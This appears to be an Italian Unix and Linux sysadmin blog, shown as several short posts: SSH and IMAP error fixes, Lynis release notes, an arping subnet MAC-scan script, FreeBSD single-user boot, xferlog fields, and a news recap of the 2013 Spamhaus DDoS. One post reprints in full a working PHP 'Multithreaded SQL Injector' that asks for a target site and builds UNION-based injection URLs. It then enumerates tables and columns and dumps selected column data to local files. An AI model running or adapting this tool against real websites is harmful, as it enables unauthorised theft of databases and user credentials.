MondoUnix Unix, Linux, FreeBSD, BSD, GNU, Kernel , RHEL, CentOS, Solaris, AIX, HP-UX, Mac OS X, Tru64, SCO UnixWare, Xenix, HOWTO, NETWORKING, IPV6

8Jan/140

SSH : Soluzione errore “Requesting X11 forwarding with authentication spoofing”

Se durante una connessione ssh si vuole effettuare un tunneling ssh e si ottiene il seguente errore ...

Requesting X11 forwarding with authentication spoofing

Modificare il file /etc/ssh/sshd_config come segue:

AddressFamily inet

Riavviare il servizio sshd e collegarsi nuovamente al server.

(1059)

12Dec/130

Soluzione errore Ctl mboxlist DBERROR reading var lib imap db skipstamp

Se nei log del server mail (imap) si riscontra il seguente errore:

ctl_mboxlist[]: DBERROR: reading /var/lib/imap/db/skipstamp, assuming the worst: No such file or directory

Eseguire i seguenti comandi:

touch /var/lib/imap/db/skipstamp
chmod 766 /var/lib/imap/db/skipstamp
 
/etc/init.d/dovecot restart
/etc/init.d/sendmail restart

(1048)

11Dec/130

Lynis Auditing Tool 1.3.7

Lynis is an auditing tool for Unix (specialists). It scans the system and available software to detect security issues. Beside security related information it will also scan for general system information, installed packages and configuration mistakes.
This software aims in assisting automated auditing, software patch management, vulnerability and malware scanning of Unix based systems.

Changes: FileExists() and SearchItem() functions were added. The yum-security check and iptables binary check were improved, and the report was extended to show which tests have been executed or skipped.

http://www.rootkit.nl/projects/lynis.html

(1454)

23Nov/130

Lynis Auditing Tool 1.3.5

Lynis is an auditing tool for Unix (specialists).
It scans the system and available software to detect security issues. Beside security related information it will also scan for general system information, installed packages and configuration mistakes.
This software aims in assisting automated auditing, software patch management, vulnerability and malware scanning of Unix based systems.

Changes:
This release adds support for Mageia Linux, PCLinuxOS, Sabayon Linux, and Scientific Linux.
It includes improved support for Arch Linux and initial systems support. Several tests have been extended to provide better information.
Many improvements were made to the reporting and logging output. Initial support was provided for better management of systems in enterprises.

http://www.rootkit.nl/projects/lynis.html (1180)

13Aug/130

Script verifica MAC ADDRESS subnet arping

#!/bin/bash
 
# ip iniziale
# SUBNET=10.10.10.0
# SUBNET=10.10.10.128
 
SUBNET=10.10.10.0
 
# ip finale
# MASK=128
# MASK=255
 
MASK=128
 
for addr in `seq $SUBNET 1 $MASK `; do
 
  arping=`arping -c1 $SUBNET$addr | grep Unicast | cut -d "[" -f 2 | cut -d "]" -f 1`
 
    if [[ -z "$arping" ]]; then
 
      echo $SUBNET$addr
 
    else
 
      echo "$SUBNET$addr $arping"
 
    fi
 
done
Esempio di output :
 
10.10.10.1 00:50:57:48:A5:22
10.10.10.2 00:50:57:45:51:1C
10.10.10.3 00:0C:39:40:27:21
10.10.10.4 00:0C:39:CD:8F:A2
10.10.10.5 00:0C:39:29:12:F8
...

(1179)

26Jun/130

FreeBSD : Riavviare in single user mode

Per riavviare in single user mode, un server FreeBSD, eseguire il seguente comando :

nextboot -o "-s" -k kernel
shutdown -r now

Se si volesse montare in scrittura la directory / per eseguire modifiche al filesystem esguire il seguente comando :

/sbin/mount -u /

(834)

10May/130

Leggere i log ftp in formato xferlog

Esempio di log :

Thu May 09 15:58:36 2013 909 HOSTNAME_IP 2870016 /PATH_DEL_FILE b _ i r UTENTE ftp 0 * c

Thu May 09 15:58:36 2013

Data e ora del trasferrimento

909

Tempo di trasferimento espresso in secondi

HOSTNAME_IP

Hostname/ip remoto

2870016

Dimensione del file espressa in bytes

/PATH_DEL_FILE

Full path del file che è stato trasferito.

b

Tipo di trasferimento, a = ASCII , b = binary

_

Action flag, C = compresso, U = non compressso; T = tar; _ = nessuna azione

i

Direzione, i = incoming, o = outgoing, d = cancello.

r

Modalità di accesso, a = utente anonimo , r = utente reale

UTENTE

Nome dell' utente che si è loggato

ftp

Servizio utilizzato

0

Metodo di autenticazione , 0 = nessuno, 1 = autenticazione .

*

User ID oppure * se non disponibile

c

Stato del trasferimento , c = completato, i = incompleto.

(869)

2May/130

Multithreaded SQL Injector

<?php
/*************************************************************************
                . __                      .__                          
           _____ |__|___.__._____    ____ |  |__  __ __  ____    ____  
          /     \|  <   |  |\__  \ _/ ___\|  |  \|  |  \/    \  / ___\ 
         |  Y Y  \  |\___  | / __ \\  \___|   Y  \  |  /   |  \/ /_/  >
         |__|_|  /__|/ ____|(____  /\___  >___|  /____/|___|  /\___  / 
               \/    \/          \/     \/     \/           \//_____/  
--------------------------------------------------------------------------
*     Multithreaded SQL Injector
*     Coded by Miyachung
*     Miyachung@hotmail.com
*     Special Thanks burtay
*     Janissaries.Org
*     Youtube Channel -> http://www.youtube.com/JanissariesOrg
*     Usage   -> https://www.youtube.com/watch?v=pytxxNnDWEU
*     Dump show -> https://www.youtube.com/watch?v=TvCvtgKn6Rg
***************************************************************************/
set_time_limit(0);
 
if(!is_dir("dumps")){mkdir("dumps");}
 
echo "[+]Enter website: ";
$site            = fgets(STDIN);
$site            = str_replace("\r\n","",$site);
$site            = trim($site);
if(!$site) exit("\n[-]Where is the website!");
if(!preg_match('#http#',$site)) $site = "http://".$site;
echo "[+]Enter column number: ";
$colons           = fgets(STDIN);
$colons            = str_replace("\r\n","",$colons);
$colons            = trim($colons);
if(!$colons) exit("\n[-]Where is the columns!");
echo "[+]Enter effected column: ";
$effected           = fgets(STDIN);
$effected          = str_replace("\r\n","",$effected);
$effected          = trim($effected);
if(!$effected) exit("\n[-]Where is the effected column!");
echo "[+]Advanced SQL Injecter\n";
echo "[+]Coded by Miyachung || Janissaries.Org\n";
$version_url          =  __make_SQL_URL($site,$colons,$effected,FALSE,TRUE,"",__hexEncode("<v3rsion>"),__hexEncode("</v3rsion>"),"version()");
$version_page        = fetch($version_url);
if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$version_page))
{
exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
}
elseif(preg_match("#403 Forbidden#si",$version_page))
{
exit("[-]Fail -> 403 Forbidden\n");
}
$version_page        = __replace($version_page);
 
if(preg_match('#<v3rsion>#si',$version_page))
{
preg_match("/<v3rsion>(.*?)<\/v3rsion>/si",$version_page,$version);
echo "[+]Version -> ".strip_tags($version[1])."\n";
}
else
{
exit("[-]Version not found\n");
}
 
$database_url        = __make_SQL_URL($site,$colons,$effected,FALSE,TRUE,"",__hexEncode("<d4tabase>"),__hexEncode("</d4tabase>"),"database()");
$database_page        = fetch($database_url);
if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$database_page))
{
exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
}
elseif(preg_match("#403 Forbidden#si",$database_page))
{
exit("[-]Fail -> 403 Forbidden\n");
}
$database_page        = __replace($database_page);
if(preg_match('#<d4tabase>#si',$database_page))
{
preg_match("/<d4tabase>(.*?)<\/d4tabase>/si",$database_page,$database);
echo "[+]Database -> ".strip_tags($database[1])."\n";
}
else
{
echo "[-]Database not found\n";
}
if(substr($version[1],0,1) == 5)
{
echo "[+]Version >= 5 getting tables,using information_schema.tables\n";
}else{exit("[-]Version < 5 , sorry can't get the tables");}
 
 
$table_counturl      = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.tables+where+table_schema=database()",TRUE,"",__hexEncode("<t4blecount>"),__hexEncode("</t4blecount>"),"count(table_name)");
$table_countpage    = fetch($table_counturl);
$table_countpage    = __replace($table_countpage);
 
preg_match("/<t4blecount>(.*?)<\/t4blecount>/si",$table_countpage,$table_counted);
 
if($table_counted[1] == null)
{
exit("[-]Tables not found\n");
}
echo "[+]Total tables -> ".$table_counted[1]."\n";
 
for($xz=0;$xz<$table_counted[1];$xz++)
{
$table_url[]        = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.tables+where+table_schema=database()",TRUE,$xz,__hexEncode("<t4bles>"),__hexEncode("</t4bles>"),"table_name");
// $table_page        = fetch($table_url);
// if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$table_page))
// {
// exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
// }
// elseif(preg_match("#403 Forbidden#si",$table_page))
// {
// exit("[-]Fail -> 403 Forbidden\n");
// }
// $table_page        = __replace($table_page);
// preg_match("/<t4bles>(.*?)<\/t4bles>/si",$table_page,$tables);
// $tbls[] = strip_tags(trim($tables[1]));
}
$tbls  =  __threading($table_url,10,"/<t4bles>(.*?)<\/t4bles>/si",FALSE,FALSE);
table_again:
echo "\n";
$tbls  =  array_values(array_unique(array_filter($tbls)));
if(empty($tbls))
{
exit("[-]Can't get tables\n");
}
foreach($tbls as $tid => $tbl)
{
echo "[$tid]$tbl\n";
}
echo "\n[+]Choose a table for get columns,just type number (exit): ";
$choose   = fgets(STDIN);
$choose   = str_replace("\r\n","",$choose);
$choose   = trim($choose);
 
if($choose == "exit")
{
exit("\n");
}
$selected   = $tbls[$choose];
 
$column_counturl  = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.columns+where+table_name=0x".__hexEncode($selected)."",TRUE,"",__hexEncode("<c0lumnscount>"),__hexEncode("</c0lumnscount>"),"count(column_name)");
$column_countpage  = fetch($column_counturl);
$column_countpage  = __replace($column_countpage);
 
preg_match("/<c0lumnscount>(.*?)<\/c0lumnscount>/si",$column_countpage,$column_counted);
 
if($column_counted[1] == null || $column_counted[1] == 0)
{
echo "[-]Columns not found\n";
goto table_again;
}
echo "[+]Total columns for $selected -> ".$column_counted[1]."\n";
 
for($xc=0;$xc<$column_counted[1];$xc++)
{
$column_url[]     = __make_SQL_URL($site,$colons,$effected,"+from+information_schema.columns+where+table_name=0x".__hexEncode($selected)."",TRUE,$xc,__hexEncode("<c0lumns>"),__hexEncode("</c0lumns>"),"column_name");
// $column_page    = fetch($column_url);
// if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$column_page))
// {
// exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
// }
// elseif(preg_match("#403 Forbidden#si",$column_page))
// {
// exit("[-]Fail -> 403 Forbidden\n");
// }
// $column_page  = __replace($column_page);
// preg_match("/<c0lumns>(.*?)<\/c0lumns>/si",$column_page,$columns);
// $cols[] = strip_tags(trim($columns[1]));
}
$cols = __threading($column_url,5,"/<c0lumns>(.*?)<\/c0lumns>/si",FALSE,FALSE);
col_showagain:
echo "\n";
$cols = array_values(array_unique(array_filter($cols)));
  foreach($cols as $cid => $colname)
  {
    echo "[$cid]$colname\n";
  }
 
what_again:
echo "\n[+]What do you wanna do (dump,back,exit): ";
$whatdo = fgets(STDIN);
$whatdo = str_replace("\r\n","",$whatdo);
$whatdo = trim($whatdo);
 
if($whatdo == "dump")
{
col_ask:
echo "[+]Select dump column 1,just type number(back,exit): ";
$select_col1 = fgets(STDIN);
$select_col1 = str_replace("\r\n","",$select_col1);
$select_col1 = trim($select_col1);
if($select_col1 == "back")
{
goto col_showagain;
}
elseif($select_col1 == "exit")
{
exit("\n");
}
 
echo "[+]Select dump column 2,type number(if you don't want just enter,back,exit): ";
$select_col2 = fgets(STDIN);
$select_col2 = str_replace("\r\n","",$select_col2);
$select_col2 = trim($select_col2);
if($select_col2 == "back")
{
goto col_ask;
}
elseif($select_col2 == "exit")
{
exit("\n");
}
elseif(!empty($select_col2))
{
$column2   = $cols[$select_col2];
}
$column1   = $cols[$select_col1];
 
$count_url  = __make_SQL_URL($site,$colons,$effected,"+from+$selected",TRUE,"",__hexEncode("<miyacount>"),__hexEncode("</miyacount>"),"count($column1)");
$count_page = fetch($count_url);
$count_page  = __replace($count_page);
preg_match("/<miyacount>(.*?)<\/miyacount>/si",$count_page,$datacount);
if(trim($datacount[1]) == null || $datacount[1] == 0)
{
echo "[-]Columns empty\n";
goto col_showagain;
}
echo "[+]Total datas -> ".$datacount[1]."\n";
echo "[+]Using LIMIT NULL,1 for dump\n\n";
for($x=0;$x<=$datacount[1];$x++)
{
 
if($column2)
{
$dump_url[]     = __make_SQL_URL($site,$colons,$effected,"+from+$selected",TRUE,$x,__hexEncode("<dumped>"),__hexEncode("</dumped>"),"$column1,0x3a,$column2");
$filename      = "dumps/".__parse($site).",$column1"."_"."$column2.txt";
}
else
{
$dump_url[]     = __make_SQL_URL($site,$colons,$effected,"+from+$selected",TRUE,$x,__hexEncode("<dumped>"),__hexEncode("</dumped>"),"$column1");
$filename      = "dumps/".__parse($site).",$column1.txt";
}
// $dump_page    = fetch($dump_url);
// if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$dump_page))
// {
// exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
// }
// elseif(preg_match("#403 Forbidden#si",$dump_page))
// {
// exit("[-]Fail -> 403 Forbidden\n");
// }
// $dump_page    = __replace($dump_page);
 
// if(preg_match("/<dumped>(.*?)<\/dumped>/si",$dump_page,$dumps))
// {
// $dump = $dumps[1];
// echo strip_tags(trim("[$x]$dump"))."\n";
// ob_flush();flush();
// __dumpsave($filename,$dump."\r\n");
// }
}
if($datacount[1] >= 20)
{
$dumps  =  __threading($dump_url,10,"/<dumped>(.*?)<\/dumped>/si",TRUE,TRUE,$filename);
}
else
{
$dumps  =  __threading($dump_url,10,"/<dumped>(.*?)<\/dumped>/si",TRUE,FALSE,"");
}
unset($column_url);
unset($dump_url);
goto col_showagain;
}
elseif($whatdo == "back")
{
unset($column_url);
unset($cols);
goto table_again;
}
elseif($whatdo == "exit")
{
exit("\n");
}
else
{
echo "[-]Unknown command\n";
goto what_again;
}
 
 
 
function fetch($url)
{
$curl   = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_TIMEOUT,10);
$oba  = curl_exec($curl);
return $oba;
}
function __make_SQL_URL($site,$colons,$effected,$from,$concat,$limit,$hex1,$hex2,$what)
{
$colon_union         = range(1,$colons);
if($concat)
{
$colon_union[$effected-1] = "concat(0x$hex1,$what,0x$hex2)";
}
else
{
$colon_union[$effected-1] = "group_concat(0x$hex1,$what,0x$hex2)";
}
$colon_union         = implode(",",$colon_union);
 
if($from)
{
 
if($limit != null)
{
$url            = $site."+and+1=0+union+select+".$colon_union.$from."+limit+$limit,1--";
}else
{
$url            = $site."+and+1=0+union+select+".$colon_union.$from."--";
}
 
}else{
 
if($limit != null)
{
$url            = $site."+and+1=0+union+select+".$colon_union."+limit+$limit,1--";
}
$url            = $site."+and+1=0+union+select+".$colon_union."--";
}
return $url;
}
function __threading($urls,$thread,$regex,$yaz,$kaydet,$file=NULL)
{
$init = curl_multi_init();
$urls = array_chunk($urls,$thread);
$x = 0;
foreach($urls as $url)
{
  for($i=0;$i<=count($url)-1;$i++)
  {
  $curl[$i] = curl_init();
  curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,1);
  curl_setopt($curl[$i],CURLOPT_URL,$url[$i]);
  curl_setopt($curl[$i],CURLOPT_TIMEOUT,10);
  curl_multi_add_handle($init,$curl[$i]);
  }
 
  do{curl_multi_exec($init,$active);usleep(11);}while($active>0);
 
  foreach($curl as $cid => $page)
  {
  $content[$cid] = curl_multi_getcontent($page);
  curl_multi_remove_handle($init,$page);
  if(preg_match("#Illegal mix of collations for operation 'UNION'#si",$content[$cid]))
  {
  exit("[-]Fail -> Illegal mix of collations for operation 'UNION'\n");
  }
  elseif(preg_match("#403 Forbidden#si",$content[$cid]))
  {
  exit("[-]Fail -> 403 Forbidden\n");
  }
  preg_match($regex,$content[$cid],$veri);
  if($yaz == TRUE)
  {
 
    if(!empty($veri[1]) && preg_match("/[a-zA-Z0-9]:[a-zA-Z0-9]/si",$veri[1]))
    {
    $x++;
    echo "[$x]$veri[1]\n";
    ob_flush();flush();
      if($kaydet == TRUE && $file != NULL)
      {
      $fopen = fopen($file,'ab');
      fwrite($fopen,trim($veri[1])."\r\n");
      fclose($fopen);
      }
    }
  }
  else
  {
  $veriler[] = $veri[1];
  }
 
  }
}
return $veriler;
}
function __hexEncode($string)
{
   $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
function __replace($text)
{
$text        = str_replace("<","<",$text);
$text        = str_replace(">",">",$text);
return $text;
}
function __dumpsave($file,$text)
{
$fp = fopen($file,'ab');
fwrite($fp,$text);
fclose($fp);
return true;
}
function __parse($site)
{
$site = explode("/",$site);
$site = $site[2];
return $site;
}
?>

(931)

6Apr/130

IPTables Bash Completion 1.0 Beta 2

iptables-bash_completion provides programmable completion for the iptables and ip6tables programs from netfilter.org. Following the logic of iptables, options are shown only if they are valid at the current context.
Additionally to the completion on options, matches and targets, it supports dynamic retrieval of data from the system i.e: chain-, set-names, interfaces, hostnames, etc.
Environment variables allow to fine grade completion options. IP and MAC addresses can be fed by file.

Fonte : http://packetstormsecurity.com/files/121062/IPTables-Bash-Completion-1.0-Beta-2.html (854)

28Mar/134

Il piu grande attacco su internet della storia , ecco che cosa è successo

Un vasto attacco informatico colpisce Spamhaus: è un'organizzazione internazionale che compila gli elenchi dei filtri per bloccare i mittenti di email spazzatura.
L'offensiva sta causando effetti a catena. E potrebbe aver rallentato la navigazione su internet in alcune regioni

Le dimensioni
Secondo le prime ricostruzioni l'ondata di dati ha raggiunto picchi di 300 Gigabit per secondo, equivalenti a 300 miliardi di bit al secondo.
Per la Bbc è il più grande attacco informatico mai avvenuto di cui si sia a conoscenza. Potrebbe aver reso difficili le connessioni degli utenti a piattaforme online. Al momento in cui viene scritto questo articolo il sito web di Spamhaus risulta di nuovo raggiungibile. I sospetti sull'origine dell'offensiva digitale sono indirizzati verso il gruppo di web hosting CyberBunker.

Cosa è successo
A gettare luce su quanto sta accadendo è la spiegazione nel blog della società di sicurezza informatica CloudFlare che in queste ore cerca di fermare l'offensiva. Scrive che Spamhaus ha iniziato a sperimentare verso la metà di marzo attacchi di tipo Ddos diventati insostenibili per le sue risorse: sono valanghe di dati che arrivano da più sorgenti, viaggiano verso un singolo sito web e impediscono l'accesso congestionandolo.
L'assalto contro Spamhaus era all'inizio di circa 10 Gigabit al secondo. Semplificando, è come se da più città fossero partite automobili dirette in massa verso un solo casello autostradale: il traffico intenso rallenta l'ingresso per tutti.
La strategia adottata per difendere Spamhaus ha portato alla dispersione dell'ondata dei pacchetti di dati. Nella precedente analogia è come se avessero indirizzato le automobili verso altri caselli nelle vicinanze, ingannate da un cambio di segnaletica lungo il percorso. Hanno adoperato tecniche di routing anycast. A questo punto i dati inviati durante il Ddos sono aumentati fino a picchi di 100 Gigabit per secondo. Ma le difese allestite erano sufficienti.

Il salto a 300 Gigabit per secondo
Gli attaccanti, però, hanno cambiato piano. Un network Tier 1 dice che sono stati in grado di generare una quantità di dati enorme fino a 300 Gigabit al secondo. Nella precedente analogia è come se il traffico sia stato così inteso da rendere difficile lo scorrimento anche in altri caselli più grandi in una vasta regione nelle vicinanze. Inoltre il risultato finale dell'ondata di dati può aver causato rallentamenti per utenti di internet del tutto ignari, soprattutto in Europa dove erano concentrati gli sforzi dei pirati informatici. CloudFlare punta il dito contro una falla nel Dns per spiegare come siano arrivati a 300 Gigabit al secondo.

Le conseguenze
Nel momento in cui viene scritto questo articolo l'impatto per gli utenti sembra limitato. Il pannello di controllo gestito da Akamai riporta congestioni nel flusso di dati su internet in aree del Benelux (Belgio, Lussemburgo, Olanda), in Gran Bretagna e in parte di Germania e Francia. In particolare, gli attaccanti hanno provato a mettere sotto pressione anche alcuni Internet exchange point: in Europa hanno mirato verso il London Internet Exchange, l'Amsterdam Internet Exchange e il Frankfurt Internet Exchange, come riporta CloudFlare.
Il servizio web Downrightnow non ha raccolto finora avvisi significativi di utenti che dichiarano difficoltà o interruzioni di servizio presso grandi piattaforme online, come i social network o gli spazi per lo streaming. Nessun problema segnalato per il momento in italia. Il Mix di Milano (il più importante punto di interscambio tra internet service provider, dove transita circa il 40% del traffico internet italiano) oggi non ha riscontrato alcun rallentamento. Stessa cosa per i provider italiani.

Le ipotesi sulle cause
Secondo le prime ricostruzioni il dito è puntato verso un contrasto iniziato due anni fa. Spamhaus aveva segnalato che un gruppo olandese di web hosting, CyberBunker, inviava anche email con messaggi indesiderati (spam), ad esempio per la vendita di prodotti contraffatti. E aveva ottenuto che l'internet service provider (Isp) locale tagliasse la connettività. Ma la società di web hosting dei Paesi Bassi aveva sempre negato le accuse. Di recente era sorto un altro motivo di discussione: Spamhaus aveva inserito di nuovo CyberBunker nella sua lista per i filtri antispam che bloccano la ricezione dei messaggi email.

Fonte : http://www.ilsole24ore.com/art/notizie/2013-03-27/grande-attacco-internet-mirino-193547.shtml (844)